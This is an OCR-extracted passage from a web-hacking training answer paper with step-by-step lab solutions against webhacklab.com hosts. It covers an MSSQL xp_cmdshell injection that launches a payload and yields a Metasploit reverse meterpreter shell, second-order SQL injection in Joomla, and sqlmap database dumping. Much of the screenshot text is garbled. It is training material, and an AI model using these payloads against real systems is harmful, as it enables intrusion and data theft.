192.168.200.120 - - [11/Jul/2021 ©2:59:22] "GET / user10.exe HTTP/1.1"

i

Step 6: Stop the python server and start a metasploit handler using the following commands:

root@Kali:~# msfconsole

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter_reverse_http
msf exploit(handler) > set LHOST 192.168.4.X

msf exploit(handler) > set LPORT <PORT>

msf exploit(handler) > run

Metasploit tip: Enable verbose logging with

msf5 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_http
payload => windows/x64/meterpreter_reverse_http
msf5 exploit(multi/handler) > set LHOST 192.168.4.10
LHOST => 192.168.4.10
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > run

Started HTTP reverse handler on http://192.168.4.10:443
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Step 7: Navigate to the topup functionality of the application, send the following payload in the apply
coupon feature and send the request to generate the encrypted payload. Enter the encrypted

payload received in the vulnerable parameter as seen in the previous exercise.

';exec master..xp_cmdshell 'cmd.exe /c c:\windows\temp\userX.exe' --

& c @ @ topup.webhacklab.com/shop/che ‘ ‘ i 2 ‘ e JEoL T [ EER ] S
L2, A [ Dashboard T Target T Proxy I Intruder T Repeater T Sequencer I Decoder T Comparer 1
@ NotSosecure @ Shop Webhacklab | Topup Webhacklab @ Mi
[1-]z ]3[4~ ]5] ]
= N‘“@*""‘“E HOME TopuP VOucH|
Send Cancel < |v | >|v | Target: http:/ftopup.webhacklab.com y@
Request Response
CheCkO ut Raw | Params | Headers | Hex | JWS Raw | Headers | Hex | JSON Beautifier}
1 GET /api/voucher?code= 3 1 HTTP/1.1 200 OK L}

%27 ; exec%20master. . xp_cmdshell%20%27cmd. exe%20/c%20c N
:\windows\temp\userl0. exe%27%20 - - &pid=24&sig=
200EC4152F820585CFCEEA4ABA39D84C1237B513AB138FF9419F
176109462339 HTTP/1.1

2 Host: topup.webhacklab,com

2 Cache-Control: no-cache

3 Pragma: no-cache

4 Content-Type: application/json; charset=utf-8
5 Expires: -1

6 Server: Microsoft-IIS/8.5

m@ Virgin Mobile

Virgin Mobile 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) 7 X-AspNet-Version: 4.0.30319
Service charge Gecko/20100101 Firefox/60.0 8 X-Powered-By: ASP.NET
Voucher Discount 4 Accept: */* 9 Date: Wed, 22 Jul 2020 12:28:18 GMT
Membership Discount (%) 5 Accept-Language: en-US,en;q=0.5 10 Connection: close
6 Accept-Encoding: gzip, deflate 11 Content-Length: 223
TOtal 7 Referer: 12
http://topup.webhacklab.com/shop/checkout?id=24 13{{"code":

8 Authorization: Bearer "FqLSfwEgJ10+6nCeBfybAjGY+3qtQ+TvEBI2k1zw7dR5zvwlf8

Apply voucher code (|
Apply voucher code and get up
discount

eyJl0eXAi101JKV1Qil CIhbGci0ilIUzI1INiI9. eyI1bmlxdWVfbmF
tZSI6ImRocnV2Lm5zcOBtYWlsaW5hdG9yLmNvbSIsImVtYWlsIjo
iZGhydXYubnNzQG1haWxpbmFOb3IuY29tIiwiaXNzIjoiaHROcDo
vL3d1YmhhY2tsYWIuY29tLyIsImV4cCIGMTUSN] YyOTc1Miwibml

7aCACv5jstOuggwlszZF63joUrLrtkowkY4w5y4+pONbEUZAIGs
5helzy=", "active":null, "status”: "INVALID", "value":0
,"validity":0, "title":null, "description":null,
"imageURL":null}

mIjoxNTkINDIWMTUYfQ. Mwot3ukbSkIWIan0IwD1G]Gx3b590IW8
p5jU_naxdGY

9 X-Requested-With: XMLHttpRequest

10 Cookie: __RequestVerificationToken= (

tyZcAWHz rg9mmdQ - kdmf tq-6hbvmF1ZulUswz ThKpum- d2htHX5

MN9gUSBGGYU59Ixvej IeGEXUrvAnUSpQwNjAJesY5XgznCrivzINv4
9f41

_ COEC—

Step 8: Use the encrypted payload and inject in the “Transactionid” parameter of the order request

L
v v
0 matches @ Pretty @@ EHEJ Search... 0 matches @ Pretty

to execute the payload.

Send Cancel <|r > | Target: http://topup.webhacklab.com I/@
Request Response
J Raw I Params [ Headers I Hex IJWS ] J Raw I Headers l Hex l Render ]
Ll GET /api/order?Transactionid= .‘\ 1 HTTP/1.1 200 OK L]
FqLSfwEgJ10+6nCeBfybAjGY+3qtQ+TvEBI2k1lzw7dR5zvwlIf87a 2 Cache-Control: no-cache
CACv5jstOuggwUszZF63joUrL rtkowk Y4w5y4+pONbEUZAIGSS5he 3 Pragma: no-cache
1ZY=| HTTP/1.1 4 Content-Type: application/json; charset=utf-8
Host—topup-webhacktatTom 5 Expires: -1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) 6 Server: Microsoft-IIS/8.5
Gecko/20100101 Firefox/60.0 7 X-AspNet-Version: 4.0,30319
4 Accept: */* 8 X-Powered-By: ASP.NET
5 Accept-Language: en-US,en;q=0.5 9 Date: Wed, 22 Jul 2020 12:29:42 GMT
6 Accept-Encoding: gzip, deflate 10 Connection: close
7 Referer: 11 Content-Length: 4
http: //topup.webhacklab.com/Shop/0rder?Transactionid 12
=alkN2BgKXFKHiDfRZQKECS f gugM50083%2F3hgunj 0dw4G5Yblc 13
1rg%2Bi9mLYmkHmth
8 Authorization: Bearer
eyJ0eXAi0iJKV1QiLCIhbGci0ilIUzI1NiJ9. eyJlbmlxdWVfbmF
1ZSI6ImRocnV2Lm5zc0BtYWlsaW5shdGOyLmNvbSIsImVtYWlsIjo
1ZGhydXYubnNzQGlhaWxpbmFOb3IuY29tIiwiaXNzIjoiaHROcDo
vL3d1lYmhhY2tsYWIuY29tLyIsImV4cCIGMTUSN]Yy0Tc1Miwibm]
mIjoxNTKINDIwMTUyfQ. Mwot3uKbSkIWIan0JwD1G]Gx3b5%90IW8
p5jU_naxdGY
9 X-Requested-With: XMLHttpRequest
10 Cookie: _ RequestVerificationToken=
tyZcAWHzrg9mmdQ - Okdmf tq- 6hbvmF1ZulUswz TbKpum-d2htHX5
MN9gUS8GGgUS9xvcej IeGEXUrvAnUSpQwNjAJesY5XgznCriwzINv4 Ty i
®{§} & 2] search.. 0 matches | \n | Pretty ®r{§} &)= |search... 0 matches | \n || Pretty |
Done 280 bytes | 35,155 millis
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Step 9: You should receive a meterpreter session in your metasploit session, as shown below:

msf5 exploit(multi/handler) > run

Started HTTP reverse handler on http://192.168.4.10:443

http://192.168.4.10:443 handling request from 192.168.200.120; (UUID: qu3d
mpk8) Redirecting stageless connection from /RekopshGOyCt6qzo8vKXtgLLtAT1GGcOW
6babMuHxNPYtnoCRHjnEWhDPsNO9-YPIn8yjZLqpxBHa9Xx0QI1W with UA 'Mozilla/5.0 (Win
dows NT 6.1; Trident/7.0; rv:11.0) 1like Gecko'

http://192.168.4.10:443 handling request from 192.168.200.120; (UUID: qu3d
mpk8) Attaching orphaned/stageless session...

Meterpreter session 1 opened (192.168.4.10:443 -> 192.168.200.120:49163) ¢
t 2020-07-22 18:38:45 +0530
I

meterpreter > getuid
Server username: NT Service\MSSQLSERVER

meterpreter > ipconfig

Interface

: Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Addre : 127.0.0.1

IPv4 Netma 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

(=
=
S

Interface 12

: Intel(R) 82574L Gigabit Network Connection
Hardware MAC : 00:50:56:9f:05:6f

MTU : 1500

IPv4 Address : 192.168.200.120
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Second-order SQL Injection on Joomla

Challenge URL: http://cms.webhacklab.com:81/administrator/index.php

e Identify and exploit second order SQL Injection point in Joomla Instance

e Fetch the databases from database server
Solution:

Step 1: Login to the application using user with manager privilege:

X mn o @® o

C @ 0}

ontent v Components v Help ~

cms.webhacklab.com:81/administrator/index.php

ontrol Panel

ENT POPULAR ARTICLES RECENTLY ADDED ARTICLE!

: Logout
plewArice @5 About E 2019-04-29 v | Your Modules Super User  2019-04-29
Articles 05:14 05:14
atagones D Working on Your Site E 2019-04-29 v | About your home page Sup...E 2019-04-29
Vedia 05:14 05:14

Step 2: Navigate to User’s profile edit page:

B My Profile - NotSoJoom' X | +

&« C @ © #& cms.webhacklab.com:81/administratorf/index.phpZoption=c. === & ¥

My Profile Details Basic Settings

Name * nssmanager
Login Name nssmanager
Password

Confirm Password

Email * sunil@webhacklab.com
Registration Date 2019-04-29 05:20:29

Last Visit Date 2021-07-26 16:10:47

ID 608 =
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Step 3: Save the profile and intercept the request in BURP proxy and send this request to Burp

repeater:

Intercept HTTP history WebSockets history Options
/ Request to http:/fcms.webhacklab.com:81 [192.168.200.14]

orwar ro ntercept is on ion en Browser “omment this item
F d D Int t Act (o] B C /

Preity [ \n  Actions v SAML v

1 POST /administrator/index.php?option=com_admin&view=profile&layout=edit&id=608 HTTP/1.1

2 Host: cms.webhacklab.com:81

2 User-Agent: Mozilla/5.0 (X11; Linux x86 B4; rv:78.0) Gecko/20100101 Firefox/78.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

5 Accept-Language: en-US,en;g=0.5

& Accept -Encoding: gzip, deflate

7 Content-Type: multipart/form-data;
boundary=---------c-coiooiii oo 421627536111063856333163373716

2 Content-Length: 2152

9 0rigin: http://cms.webhacklab.com:81

18 Connection: close

11 Referer:
http://cms.webhacklab.com:81/administrator/index.php?option=com_admin&view=profile&layout=edit&id=06
08

12 Cookie: 7403356f8etlc5dZblab4abc9bbe540a=5pbsisdqtgbatgkB8ea’f jbpn20

13 Upgrade-Insecure-Requests: 1

14

15 - 421627536111063856333163373716
16 Cantent -Disposition: form-data; name="jform[name]"

17

18 nssmanager

19 - 421627536111063856333163373716
20 Content -Disposition: form-data; name="jform[username]"

21

27 nssmanager

23 - 421627536111063856333163373716

A Pt ant D o dmema Foem Aot o mome MiFoem Teoec a0 TN

@|ZH:| http://cms.webhacklab.com:81/administrator/index.php?option=com_admin&view =profile&layout =edit&id =

608 | 0 matches

Step 4: Insert single quote (‘) into value of parameter “jform[params][admin_style]” and forward the

request:

m Cancel ‘ Follow redirection Target: http://cms.webhacklab.com:81 f
[ 1] |

Request i
Pretty \n Actions v Select extension... v
cif') e e et P A ey oA N |

45 608

L e 421627536111063856333163373716

48 Content -Disposition: form-data; name=|jform [params] [admin style] |

_EJ ————————————————————————————— 421627536111063856333163373716

52 Content -Disposition: form-data; name="jform[params][admin_language]"

53

54 R
®{§}|(—H—)‘I http://cms.webhacklab.com:81/administrator/index.php?option=com_admin&view =profile&layout =edit&id=608 I 1 match

Response

Raw Render \n Actions v Select extension...
{HTTP/1.1 303 See other|

ZDate: Mon, 2o Jul 2021 16:35:10 GMT

3 Server: Apache/2.4.18 (Ubuntu)

4 Location: /administrator/index.php?option=com_admin&view=profile&layout=edit
) Expires: Wed, 17 Aug 2005 00:00:00 GMT

Last-Modified: Mon, 26 Jul 2021 16:35:10 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 0

0 Connection: close

11 Content -Type: text/html; charset=utf-28

172

®{§}|EHEH Search... | 0 matches

Done 434 bytes | 335 n|

o

OO~ ;

=
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Step 5: Payload stored in database but it did not throw any error back:

B My Profile - NotSoJoom' X | +

&« c @ © & cms.webhacklab.com:81/administrator/index.php?option=c: +e= o Ihn @O @ i
Mot omla &
L My Profile ¥ Joomlal
& save + | Save & Close @ | Close © Hep
Message
Itern saved.

My Profile Details Basic Settings

Name * nssmanager
Login Name nssmanager
Password

Confirm Password

Email * sunil@webhacklab.com
Registration Date 2019-04-29 05:20:29
Last Visit Date 2021-07-26 16:10:47
ID 608 °
& Viewsite | () Visitors | (@) Administrator | (J)Messages | = Log out © 2021 NotSoJoomla

Step 6: Navigate to “http://cms.webhacklab.com:81/administrator/index.php” URL (2nd order SQL
injection) which will show SQL error message:

&« ca o © % |cms.webhacklab.com:81/administrator/index.php sse o In 0O ® e

¥ Content~ Com omlag L ~

© Control Panel ¥ Icomlal

Error

You have an error in your SQOL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " AND
“client_id" = 1" at line 3

CONTENT

- POPULAR ARTICLES RECENTLY ADDED ARTICLES
" .
Z New Article €D About 2019-04-29 v | About your home page su...E 2019-04-29
O Articles 05:14 05:14
& Categories () Working on Your Site 2019-04-29 v | Welcome to your blog Sup... = 2019-04-29
G Media 05:14 05:14
Q About your home page 2019-04-29 » | Working on Your Site Supe... 2 2018-04-29
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Step 7: Insert 'nsstest' payload and click on send button:

m Cancel | Follow redirection | Target: http://fcms.webhacklab.com:81 f
un L

Request =
Pretty \n Actions v Select extension... Vv

44 Content -Disposition: form-data; name="jform[id]"

45

46 608

L R 2291153239280356195628135497

48 Content -Disposition: form-data; namezlj form[params] [admin_style]

48

5Q nsstest |
=1

e 2291153239280356195628135497
52 Content -Disposition: form-data; name="jform[params][admin language]"”
53

54 —
® {:@} | <« H - | I http:/fcms.webhacklab.com:81/administratorfindex.php?option=com_admin&view=profile&layout=edit&id=608 1 match

Response

Raw FHender \n  Actions v Select extension... v
1|HTTP/1.1 303 See other]

2 Date: Mon, Zb JUr Z0ZT 16:16:21 GMT

3 Server: Apache/2.4.18 (Ubuntu)

4 Location: /administrator/index.php?option=com_admin&view=profile&layout=edit
5 Expires: Wed, 17 Aug 2005 00:00:00 GMT

6 Last-Modified: Mon, 26 Jul 2021 16:16:21 GMT

7 Cache-Control: no-store, no-cache, must-revallidate, post-check=0, pre-check=0
8 Pragma: no-cache

9 Content -Length: ©

10 Connection: close

11 Content -Type: text/html; charset=utf-8

12 -
®@|i“2” Search... ‘ 0 matches

Step 8: Error on second order page shows only 1st character “n” of payload “nsstest”:

&« g o 0} &'Icms.webhacklab.ccm:Sl:‘acmin S:ratou"irldex.p:\'o| LI I @ @ e =

®
o

Control Panel

Message

ltem saved

Error

Unknown column 'n* in *where clause’

CONTENT POPULAR ARTICLES RECENTLY ADDED ARTICLES
» )

& New Article onbcut E 2019-04-29 « | Working on Your Site Supe...= 2019-04-29

Articles 05:14 05:14
& Categories ) Working on Your Site E 20190429 + | About Super User E 2019-04-29

B Media 05:14 05:14
) About your home page E 2019-04-29 « | Your Template Super User = 2019-04-29

05:14 05:14
) Welcome to your blog E 2019-04-29 v | Your Modules Super User = 2019-04-29

05:14 05:14
@) Your Modules E 2019-04-29 + | About your home page su... E 2019-04-29

05:14 05:14

LOGGED-IN USERS

& View Site | () Visitors | () Administrator | @) Messages | = Log out @ 2021 NotSoJoomla

NotSoSecure part of

claranet cyber security

Page: | 25

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Step 9: To confirm, insert “AND sleep(5);--” payload and click on send button:

m Cance ‘ < '_‘ ‘ Follow redirection ‘ Target: http://cms.webhacklab.com:81 /
m |
Request i
Pretty \n Actions v Select extension... v
45 ' ' B
46 608

S e e e e e e e e e e e e o 2701153230080 386 1 Qe ] IEADT
48 Content -Disposition: form-data; name=['jform[params][admin_style]’
4G

22911532392863561956268135497

52 Content -Disposition: form-data; name="jform[params][admin_language]"
53

54

Response

MEWl Raw Render \n Actions v Select extension...

HTTP/1.1 303 See other
Bote—torr et +=16:18:00 GMT
3 Server: Apache/2.4.18 (Ubuntu)
4 Location: /administrator/index.php?option=com_admin&view=profile&layout=edit
5 Expires: Wed, 17 Aug 2005 08:00:00 GMT
6 Last-Modified: Mon, 26 Jul 2021 16:18:00 GMT
7 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
S Pragma: no-cache
S Content -Length: @
16 Connection: close
11 Content-Type: text/html; charset=utf-8

12
QLG EIES

Done 434 bytes | 333

| QO matches

Step 10: Error on second order page still shows 1st character “A” of the payload which indicates an

array and the Oth index of it is being stored in database:

b omla &

{3 Control Panel e g Joomiar
Message
Item saved
Error

Unknown column ‘A’ in ‘where clause’

CONTENT POPULAR ARTICLES RECENTLY ADDED ARTICLES
N )

#  New Article € About B 2019-04-29 + | About Super User B 2019-04-29

Articles 05:14 05:14
& Calegories ) Working on Your Site B 2019-04-29 ~ Your Template Super User 5 2019-04-29

=l Media 05:14 05:14
D About your home page E 2019-04-29 v | Your Modules Super User = 2019-04-29

05:14 05:14
() Welcome to your blog E 2019-04-29 v | About your home page Su... 5 2019-04-29

05:14 05:14
) Your Modules E 2019-04-29 v |Welcome to your blog Sup... 5 2019-04-29

05:14 05:14

LOGGED-IN USERS

& View Site | () Visitors | () Administrator | {J) Messages | = Log out ® 2021 NotSoJoomla
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Step 11: Insert the payload to Oth index of array parameter “jform[params][admin_style][0]” and click

on send button:

m Cancel || < '_| ‘ Follow redirection | Target: http://cms.webhacklab.com:81 /
[ 1] ]

Request O

Pretty \n Actions v Select extension... Vv

A3 2291153239280356195628135497

44 Content-Disposition: form-data; name="jform[id]"

45

46 608

L 229115359280356 195628 [ 3509

48 Content -Disposition: farm-data; nameq"iform[params] [admin_style]‘

49

S5 AND sleep(5
———————————— 2791153239280356195628135497

2 Content-Disposition: form-data; name="jform[params][admin_language]"

®@|Z_”_:“http:,’![ms.webha[klab.cnm:8lfadministrator!index.php?nptinn:(om_admin&view:pmﬁle&laycut:edit&idZGDS | 1match

1

Response

ol Raw Render \n  Actions v Select extension... Vv

1 HTTP/1.1 303 See other

Tater Mo, 20 JOt 202l 16:19:05 GMT

Server: Apache/2.4.18 (Ubuntu)

Location: /administrator/index.php?option=com_admin&view=profile&layout=edit
Expires: Wed, 17 Aug 2005 00:00:00 GMT

Last-Modified: Mon, 26 Jul 2021 16:19:05 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content -Length: ©

9 Connection: close

Content-Type: text/html; charset=utf-8

— =
— @000~ O LW N

—
[}

S
<
)
v

| 0 matches

Done 434 bytes | 334 1|

Step 12: Error on second order page reflects full payload now:

4

{3 Control Panel

Message
ltem saved.

Error

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND sleep(5):—-'
AND “client_id" = 1" at line 3

CONTENT POPULAR ARTICLES RECENTLY ADDED ARTICLES
o

& New Article o About E 20190429 + | Welcome to your blog Sup... 5 2015-04-29

Articles 05:14 05:14
& Categories o Working on Your Site E 20190429 + |Working on Your Site Supe... 5 2019-04-29

B Media 05:14 05:14
@ About your home page E 2019-04-29 + | About Super User = 2019-04-29

05:14 05:14
) Welcome to your blog E 2019-04-29 « | Your Template Super User = 2019-04-29

05:14 05:14
) Your Modules E 2019-04-29 v | Your Modules Super User B 2019-04-29

05:14 05:14

LOGGED-IN USERS
E View Site o\ﬂsilors eAuminis[rator ordessages = Log out © 2021 NotSoJoomia
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Step 13: Insert payload “extractvalue(0x0a,concat(0x0a,(select database())))” and click on send

button to get the current database:

m Cance |( ':‘ | Follow redirection | Target: http://cms.webhacklab.com:81 /
| 1] |

Request i

F"ett\; \n Actions Vv Select extension...

45 ' ' ’ o

46 608

L e 2291153239280356195628135497

45 Content -Disposition: form-data; name=|'j form{params] [admin_style] [0] l

40

5(1 extractvalue(@x0a,concat (0x0a, (select database())))ll

ST Tt TSIz ISZeUs St TS 8135497

52 Content-Disposition: form-data; name="jform[params][admnin_language]"

53

54

Response

Raw Render \n Actions v Select extension... Vv
WHTTP/1.1 303 See otherl

Date: Mon, 26 Jul Z0ZT 16:208:04 GMT

Server: Apache/2.4.18 (Ubuntu)

Location: /fadministrator/index.php?option=com_admin&view=profile&layout=edit
Expires: Wed, 17 Aug 2005 00:00:00 GMT

Last-Modified: Mon, 26 Jul 2021 16:20:04 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: ©

9 Connection: close

Content-Type: text/html; charset=utf-8

12
®@‘EHEH Search... | 0 matches

WD~ s WA

PR
)= @

Done 434 bytes | 345 m

Step 14: Error on second order page reflects current database “joomla”:

<« c @ @ #& cms.webhacklab.com:81/administrator/index.php U N 4 N o @ 2 =

¥ Content~+ Components ~ Help -

{3 Control Panel

Message
Item saved

Error

XPATH syntax error: ' joomla’

CONTENT POPULAR ARTICLES RECENTLY ADDED ARTICLES
»

& New Article €D About E 2019-04-29 + | About Super User = 2019-04-29

Articles 05:14 05:14
W Categories @ Working on Your Site [ 2019-04-29 « | Your Template Super User = 2019-04-29

7] Media 05:14 05:14
) About your home page E 2013-04-29 v | Your Modules Super User = 2019-04-29

05:14 0514
) Welcome to your blog E 20180429 « | About your home page Su... & 2019-04-29

05:14 05:14
@ Your Modules E 20190429 « |Welcome to your blog sup... B 2019-04-29

05:14 05:14

LOGGED-IN USERS

I View Site °Visi10rs °Acminis[rator or\.'lessages = Log out @ 2021 NotSoJoomla
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Step 15: To automate the exploitation, provide payload insertion mark “*” to crafted request so

SQLmap can easily insert the payloads which will get executed:

extractvalue(@x0a,concat(0x0a, (select @@version where 1=1 *)))

m Cancel | < "| | Follow redirection Target: http://cms.webhacklab.com:81 /
[ ] |

Request [0
Pretty \n  Actions v Select extension... v

4e 0 . . ..

46 608

L R 2291153239280356195628135497

48 Content -Disposition: form-data; name="jform[params][admin_style][@]"

File

5¢ extractvalue(0x0a,concat (OxBa, (select @@version where 1=1 *)))

ST ZZI T3 239200350 TI00L0 35557

52 Content -Disposition: form-data; name="jform[params][admin_language]"

53

54

Response

M8 Raw Render \n  Actions v Select extension... Vv

1 HTTP/1.1 303 See other

Date: Mon, 26 Jul 2021 16:21:02 GMT

Server: Apache/2.4.18 (Ubuntu)

Location: /fadministrator/index.php?option=com admin&view=profile&layout=edit
Expires: Wed, 17 Aug 2005 00:00:00 GMT

Last-Modified: Mon, 26 Jul 2021 16:21:02 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content -Length: ©

10 Connection: close

11 Content -Type: text/html; charset=utf-8

12

1
®{§}|E”§|| Search... | 0 matches

Done 434 bytes | 333 nj

S RS B VY 8]

w m
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Step 16: Run Sglmap tool on the request with “--second-url” switch provided with error page URL:

root@Kali:~# sqlmap -r request.txt --dbms MySQL --second-url

"http://cms.webhacklab.com:81/administrator/index.php" --dbs

root® kali ~/tools
# sqlmap -r request.txt --dbms MySQL --second-url "http://cms.webhacklab.com:81/administrator/index.php”
--dbs

{1.5.6.5#dev}

http glmap.org
[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is
the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:23:34 /2021-07-26/

[09:23:34] [ ] parsing HTTP request from 'reque:
custom injection marker (' *') found in POST body. Do you want to process it? [Y,'n/ql

Multlpart -like data found in POST body. Do you want to process it? [Y/n/ql]
[09:23:35] [INFO] testing connection to the target URL
got a 303 redirect to 'http://cms.webhacklab.com:81/administrator/index.php?option=com_admin&view=profile&
layout=edit'. Do you want to follow? [Y/n] n
[09:23:37] [ ] testing if the target URL content is stable
[#9:23:38]1 [ 1 _(custom) POST parameter 'MUITTPART #1x' does not_apnear to _he dynamic
[09:23:39] [INFO] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART #1*' might be injec
table (possible DBMS: 'MySQL')
[09:23739T [ ] testing for SQL 1njection on (custom) PUST parameter MULTIPART F1¥'
for the remaining tests, do you want to include all tests for 'MySQOL' extending provided level (1) and ris
k (1) values’ [Y/n] n
[ ] tésting 'AND boolean-based blind - WHERE or HAVING clause'
[ ] reflectlve value{s) found and filtering out
[ ] testing ' d blind - PHlHHHTHl 1leagw original value)'
[ ] testing eric el
[ ] testing o] or-based - WHERE, HAVING, ORDER BY or GROUP BY clause

[INFO] (custom) POST parameter 'MULTIPART #1x' is 'MySQL = 5.1 AND error-based - WHERE, HAVING
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Step 17: Sglmap extracts all database names:

2291153239280356195628135497 -~

):24:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL = 5.1
19:24:39] [ ] fetching database names
1] [ retrieved: 'information_schema'
[ retrieved:
[ retrieved:
[ retrieved:
[ retrieved:
124 [ retrieved:
19:24:43] [ ] retrieved:
available databases [7]:
awh
information_schema
joomla
mysql
performance_schema
Sys
wordpress

[09:24:43] [ ] fetched data logged to text files under '/root/.local/share/s
.com’

[*] ending @ 09:24:43 /2021-07-26/
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Advance SQLMAP Usage with eval option

Challenge URL: http://topup.webhacklab.com/api/Product/GetProduct?pid=&sig=

o Identify SQL Injection point

e Fetch the databases from the database server
Solution:

Step 1: Login to the application and navigate to the Topup and click on the “Three” option, as shown

below:

@ topup webhacklab.com/Shop/Topup - D H Y i

HOME TOPUP VOUCHERS SHOP SANJAY @NOTSOSECURE.COM My of

/lobile Recharge & Payment

A &

Virgin Mobile Vodafone Three
TESCO
sesE=r Q= 02
Econet Tesco Mobile 02 Mobile
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Step 2: Click on the ORDER button as shown in the figure below.

@ topupwebhacklab.com/shop/three RN v [y

HOME TOPUP VOUCHERS SHOP SANJAY @NOTSOSECURE.COM MY

Three Mobile
@ Three - Pay as you go @ Three - Pay as you go @ Three - Pay as you go

. Credit & Data . Credit 5 Data . Credit & Data
10.%- 50.3 100.:- 15 :5r 150.% 10

(——
@ Three - Pay as you go @ Three - Pay as you go @ Three - Pay as you go

. Credit 5 Data . Credit = Data . Credit 5 Data
200.2- 150.5» 300.5 205 300.5- 30.2

@ Three @ Three

. Credit B Data . Credit = Data
300.8- 40.:% 300.%- 60.:

ORDER ORDER

Step 3: Observe the request in Burp suite and send the selected request to Burp suite repeater tab.

J/api/Product/GetProduct?pid=2&sig=ABB11...

< dgs

516 p://topup.wel shop/checkout?/id=2 200 209
515 http://topup.webhacklab.com GET Japi/product?code=4 200 3097
< — oL
Request | Response
J RawI Params I Headers | Hex | JWS
GET /api/Product/GetProduct?pid=2&sig=ABB11B0B3A466F13F2D8999D1B56F930055C95B9C1AEDDA38038B6ES526553CD6 HTTP/1.1 H

Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/shop/checkout?id=2

Authorization: Bearer

ey]0eXAiOi|KV1QiLCJhbGciOijluzI1Ni|9.ey]1bmIxd WVbmFtZSI6InNhbmpheUBub3Rzb3NIY3VyZS5jb20iLC)IbWFpbCl6InNhbmpheUBub3Rzb3NIY3VyZS55jb20iLClpc3
MiOiJodHRwOIi8vd2ViaGFja2xhYi5jb2 0vliwiZXhwljoxNTU3NDg4MjA2LCJuYmYiOjELNTYyNzg2MDZ9.Zvt0x6da63y2zGc_jlgLSPhxHW1zmi3cyR6SUDZ838M
X-Requested-With: XMLHttpRegquest

Connection: close
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Step 4: Observe the request and response as shown below:

Request

Raw | Params T Headers T Hex T]WS 1

Go Cancel <|[v | >|v Target: http://topup.webhacklab.com | #|| 7 |

[GET /api/Product/GetProduct?pid=2&sig=ABB11B0OB3A466F13F2D8999D1B56F930055C95B9C1AEDDA3B038B6E526553CD6 HTTR/1.1
Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: *f*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/shop/checkout?id=2

Authorization: Bearer

v

& @ t] m Type a search term
Response

Raw | Headers | Hex | JSON Beautifier]

0 matches

HTTP/1.1 200 OK

Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-115/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Fri, 26 Apr 2019 12:46:10 GMT
Connection: close

Content-Length: 355

{"id":2,"title":"Three - Pay as you go","description”:"Recharge, You'll receive the recharge code and instructions on the email address you filled in
you'll always stay connected!","code":"abcd11","name":"Three","credit":100.0,"data":15.0,"image":"threem.jpg","instruction":"instructions goes
here","serviceCharge":10.0,"memberDiscount":0.0}

T

. That way

¥

Step 5: Modify the parameter pid which returns a 500 error.

Request

J Raw I Params ] Headers

Go Cancel | <|v || >|v Target: http://topup.webhacklab.com | #|| 7 |

Hex | JWS
GET ,fapi.fl’roducthetProduct?Lidﬂ.Eg=ABBl1BOBBA4BBF13F20899901 B56F930055C95B9C1AEDDA38038B6E526553CD6 HTTP/1.1
Host: topup.webhacklab.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http:/ftopup.webhacklab.com/shop/checkout?id=2
Authorization: Bearer

L2 <)+ | =] 7ypeasearch term

Response

Raw | Headers | Hex | JSON Beautifier]

v

0 matches

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-1I5/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Fri, 26 Apr 2019 12:46:42 GMT
Connection: close

Content-Length: 36

"message":"An error has occurred."}

T
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Step 6: Observe the view source of the web page shown in Step 3 which shows the source code

used to generate the “sig” parameter with the static key used for encryption purposes.

Web Hacking- Black ... x | hitp:/topup.webhacklab.... x | +
g D | view-source:http:/topup.webhacklab.comjshop/checkout?id=2 3 e O
NotSoSecure @ Heaith CI @ Shopping Portal | Topup @ MBlog Portal [llJWT @ Database Connection @ Resume Uploading @ NodejS

<script src="htt
<script src="htt
<script src="htt
<script type=
var mprogres
mprogress.start(

></script>
s"></script>
"></script>

new Mprogress();
);

$(document) . ready(function () {

var prodID = "2%;
var accessToken = localStorage.getItem(“accessToken");

if essToken = null) {
